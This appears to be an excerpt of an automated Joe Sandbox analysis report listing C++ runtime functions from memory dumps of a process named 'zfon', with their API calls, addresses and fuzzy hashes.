Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: Once$ExecuteInit__crtterminate$ErrorExceptionLastSystem_errorSystem_error::_Throw_invalid_parameter_noinfo_noreturnstd::_
String ID:
API String ID: 3077141932-0
Opcode ID: 292ba9b08f1b456e8eb1e10f3c91b04e86b57f13cec82466bb27a72e0fb057f3
Instruction ID: cbece2283d21a62c2ce779dcde4f3c00f2e38f8e67f1e1f76814cec13ddff301
Opcode Fuzzy Hash: 292ba9b08f1b456e8eb1e10f3c91b04e86b57f13cec82466bb27a72e0fb057f3
Instruction Fuzzy Hash: 4D21E761A1C7D792EB109F2CE8000AA63A0FF997D4F505231EB9D43699EF3CD542D700

Function 00007FF8B91164B0 Relevance: 9.1, APIs: 6, Instructions: 64COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8B91164BC

Part of subcall function 00007FF8B911616C: __std_exception_copy.VCRUNTIME140 ref: 00007FF8B911619E

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B91164CD
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00007FF8B91164EC

Part of subcall function 00007FF8B91161F8: __std_exception_copy.VCRUNTIME140 ref: 00007FF8B911622A

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B91164FD
std::regex_error::regex_error.LIBCPMT ref: 00007FF8B911651B

Part of subcall function 00007FF8B9116294: __std_exception_copy.VCRUNTIME140 ref: 00007FF8B91162D6

_CxxThrowException.VCRUNTIME140 ref: 00007FF8B911652C

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: ExceptionThrow__std_exception_copy$std::invalid_argument::invalid_argument$std::regex_error::regex_error
String ID:
API String ID: 2225372811-0
Opcode ID: 579caac49531870bd7b2df6b8c7ac96cef54dbc44b83102e448678832d7dfad5
Instruction ID: a8a75762125abda393290a639645a6660667a7d19727c9e6faca4ef376340efe
Opcode Fuzzy Hash: 579caac49531870bd7b2df6b8c7ac96cef54dbc44b83102e448678832d7dfad5
Instruction Fuzzy Hash: C2F01262A184C2A6D910AB18D4650AE6330BB943C4F904172E39E46AA6ED6DD70DDB00

Function 00007FF8B90E1950 Relevance: 9.1, APIs: 6, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E1959
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF8B90E196B
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E197A
__pctype_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E19E0
___lc_locale_name_func.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 00007FF8B90E19EE
_wcsdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8B90E1A01

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: __pctype_func$___lc_codepage_func___lc_locale_name_func_wcsdupcalloc
String ID:
API String ID: 490008815-0
Opcode ID: c26570a5175e310c7c67cec82136f633dba3ba5588f44644c2c5e5ceca30bf29
Instruction ID: bb07ddda5ffd64a2e4097d1792c751823cb22aa218623100952729b7c265e250
Opcode Fuzzy Hash: c26570a5175e310c7c67cec82136f633dba3ba5588f44644c2c5e5ceca30bf29
Instruction Fuzzy Hash: E121EA26E08B8582E7059F3CD5052B827A0FBA9B98F15A624CF9C16222EF79E5D5D340

Function 00007FF7F96E40E0 Relevance: 9.0, APIs: 6, Instructions: 40COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F96E40FF
?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F96E411C
new.LIBCMT ref: 00007FF7F96E4126
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F96E4133

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 88f2ef690c4a8c45f9e59a1200a3e63dedbb3740fc12a1e5506eac693a5bd548
Instruction ID: 568ca550da720589f3ecaf97bbf2b24a009a57474f64b2119c28780350080ca2
Opcode Fuzzy Hash: 88f2ef690c4a8c45f9e59a1200a3e63dedbb3740fc12a1e5506eac693a5bd548
Instruction Fuzzy Hash: A5F04B70F0A60390EF48BF20A949378A1B1AF987B1FC00734C13D016ECEE1D649642B5

Function 00007FF7F9721510 Relevance: 9.0, APIs: 6, Instructions: 40COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F9721443), ref: 00007FF7F972152F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F9721443), ref: 00007FF7F972154C
new.LIBCMT ref: 00007FF7F9721553
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9721443), ref: 00007FF7F9721560

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 5b714251bbdd11423a55c0776489f6b684c1a57d624a24fc72f26bda6c2bdede
Instruction ID: 4f831c2bd9fa955e1f7251ee3f0c2cef438251d239dc62178832d6be681d3d52
Opcode Fuzzy Hash: 5b714251bbdd11423a55c0776489f6b684c1a57d624a24fc72f26bda6c2bdede
Instruction Fuzzy Hash: 8EF0FBA0E1670251FF68BB21A94A37991B1EF597F1F804774C53E416DCED1C258646B0

Function 00007FF7F971DD70 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F971DB79), ref: 00007FF7F971DD8F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F971DB79), ref: 00007FF7F971DDB0
new.LIBCMT ref: 00007FF7F971DDBA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F971DB79), ref: 00007FF7F971DDC7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 933c6945ac0c1734e21877da7a05e15318510cce0e034cb2454857b8da2631b6
Instruction ID: beaa5c96107deb05d8c7235e7f234368299ba1700c4cfb909ac985803cd20ffe
Opcode Fuzzy Hash: 933c6945ac0c1734e21877da7a05e15318510cce0e034cb2454857b8da2631b6
Instruction Fuzzy Hash: 9F014460E09B02A2EF58BB62B949338A1B0AF497F1F800635C17D812DCED1C65C98672

Function 00007FF7F972C020 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F972BE39), ref: 00007FF7F972C03F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F972BE39), ref: 00007FF7F972C060
new.LIBCMT ref: 00007FF7F972C06A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F972BE39), ref: 00007FF7F972C077

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 22008d081fcb802cd2ca1249ed3b68a01df3c254b4f916e0378cb5af36a1206e
Instruction ID: 546d29ddfbabc25d81a19a85dff4b8d3d20190cd900e847e743dc7e5de3829bb
Opcode Fuzzy Hash: 22008d081fcb802cd2ca1249ed3b68a01df3c254b4f916e0378cb5af36a1206e
Instruction Fuzzy Hash: 78014F70F1670291EE68BF64AD4A378A1F0DF587F1F840674C53E012ECEE5C648686B0

Function 00007FF7F970E260 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F970E0C1), ref: 00007FF7F970E27F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F970E0C1), ref: 00007FF7F970E2A0
new.LIBCMT ref: 00007FF7F970E2AA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F970E0C1), ref: 00007FF7F970E2B7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: df32d05ea09cbf875a063a74e2004c604787f01abbfeaa2e241b8ecd85f65cee
Instruction ID: 1a6a1f56af672c94d29b9c6dad127b0a590bf974ca132a8fbed9fe1087550604
Opcode Fuzzy Hash: df32d05ea09cbf875a063a74e2004c604787f01abbfeaa2e241b8ecd85f65cee
Instruction Fuzzy Hash: D401FF70F06B0691EE99FB64AD49268A1F0AF597F1F800635C53D016ECEE5C648682B0

Function 00007FF7F96F9860 Relevance: 9.0, APIs: 6, Instructions: 37COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96F4224), ref: 00007FF7F96F987F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96F4224), ref: 00007FF7F96F98A0
new.LIBCMT ref: 00007FF7F96F98AA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00007FF7F96F4224), ref: 00007FF7F96F98B7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 299676f5ed099db6b6025b468dfcc04c54bdedd21b94257f90a8872ff9d81810
Instruction ID: d686312a463ba2d262cb6f79fdd3693864c6c907c60f60e53255ffde148039ef
Opcode Fuzzy Hash: 299676f5ed099db6b6025b468dfcc04c54bdedd21b94257f90a8872ff9d81810
Instruction Fuzzy Hash: EC011260F0960261FF58FF66B949238A1B59F487B5FC04A35C63E816ECFD1C658682B2

Function 00007FF7F9711BB0 Relevance: 9.0, APIs: 6, Instructions: 36COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F9711AAF), ref: 00007FF7F9711BCF
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F9711AAF), ref: 00007FF7F9711BF0
new.LIBCMT ref: 00007FF7F9711BFA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F9711AAF), ref: 00007FF7F9711C07

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: b922828b7e2684afbcf6d79d91bb5d9672ec89368d0f2cf6d04bfcc6100c8038
Instruction ID: 003f7ac37bac8fc062b56e1665a5ef0bf875e85ea68e28ca7509e05f8c00e089
Opcode Fuzzy Hash: b922828b7e2684afbcf6d79d91bb5d9672ec89368d0f2cf6d04bfcc6100c8038
Instruction Fuzzy Hash: 40F04B60E06703A6EE68BF24A989328A1B0AF487F1FC00734C53D056E8FE1C64C682B0

Function 00007FF7F9727B50 Relevance: 9.0, APIs: 6, Instructions: 36COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F97279F3), ref: 00007FF7F9727B6F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F97279F3), ref: 00007FF7F9727B90
new.LIBCMT ref: 00007FF7F9727B9A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F97279F3), ref: 00007FF7F9727BA7

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 96c7a756f207ce34266089aa0f1babb719ca79f35fc216322b591ea9cc0b8032
Instruction ID: 9df9cfdaef4c95a5647f11534686ef3ccaa5ca598d435ece5f84ae9820173e53
Opcode Fuzzy Hash: 96c7a756f207ce34266089aa0f1babb719ca79f35fc216322b591ea9cc0b8032
Instruction Fuzzy Hash: 2AF04B60E16702A0EF58BB64AE4936891B09F497F1FD00B34C53D016E8FE1C658686B0

Function 00007FF7F96EA500 Relevance: 9.0, APIs: 6, Instructions: 36COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F96EA13E), ref: 00007FF7F96EA51F
?_Xbad_alloc@std@@YAXXZ.MSVCP140(?,?,?,?,00007FF7F96EA13E), ref: 00007FF7F96EA540
new.LIBCMT ref: 00007FF7F96EA54A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF7F96EA13E), ref: 00007FF7F96EA557

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 489ec8070939499f2d05b687d8ce4eb02601b61b06c68322a53f6d41bb116b41
Instruction ID: 525ca36ceca443ea756fa68c3521e68a8785691e268429ac0d030eb582484082
Opcode Fuzzy Hash: 489ec8070939499f2d05b687d8ce4eb02601b61b06c68322a53f6d41bb116b41
Instruction Fuzzy Hash: A5F06DA0E1A60261EF88FF24AD8933891B19F487B1FC00B34C53D017ECEE5D648682B5

Function 00007FF7F9709200 Relevance: 9.0, APIs: 6, Instructions: 35COMMON

Download Yara Rule

APIs

?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F9709216
?_Xbad_alloc@std@@YAXXZ.MSVCP140 ref: 00007FF7F970922F
new.LIBCMT ref: 00007FF7F9709236
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF7F9709243

Memory Dump Source

Source File: 00000005.00000002.2529502672.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF7F96E0000, based on PE: true

Associated: 00000005.00000002.2529472030.00007FF7F96E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F97CA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529622789.00007FF7F98D5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529823423.00007FF7F9941000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529844483.00007FF7F9942000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529872524.00007FF7F9953000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529894361.00007FF7F9955000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.2529922234.00007FF7F9969000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff7f96e0000_zfon.jbxd

Similarity

API ID: Xbad_alloc@std@@$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2582267257-0
Opcode ID: 62d9ba69d16ddf7e9d05fb0b96c0b2a14d2ee61e873a52316fb28099adf97e6b
Instruction ID: 637beac15bc645a247332c1b330b80932c418988f38aee63aefc28df5a5eecae
Opcode Fuzzy Hash: 62d9ba69d16ddf7e9d05fb0b96c0b2a14d2ee61e873a52316fb28099adf97e6b
Instruction Fuzzy Hash: 43F0CDA0F4570291EE9CBB60AD4A339A1B5AF5D7F1FC04B34D63D016ECAE5C649642B0

Function 00007FF8B9115110 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 219COMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140 ref: 00007FF8B9115222
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B91152FE

Part of subcall function 00007FF8B912CAC4: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,00007FF8B90EC4D0), ref: 00007FF8B912CADE

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B911535B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B91153F7

Strings

0123456789-, xrefs: 00007FF8B91151C1

Memory Dump Source

Source File: 00000005.00000002.2548203857.00007FF8B90E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B90E0000, based on PE: true

Associated: 00000005.00000002.2548142197.00007FF8B90E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548344491.00007FF8B9132000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548447393.00007FF8B916F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548531486.00007FF8B9170000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2548716958.00007FF8B9171000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9173000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000005.00000002.2549289518.00007FF8B9179000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff8b90e0000_zfon.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$mallocmemchr
String ID: 0123456789-
API String ID: 1035304070-3850129594
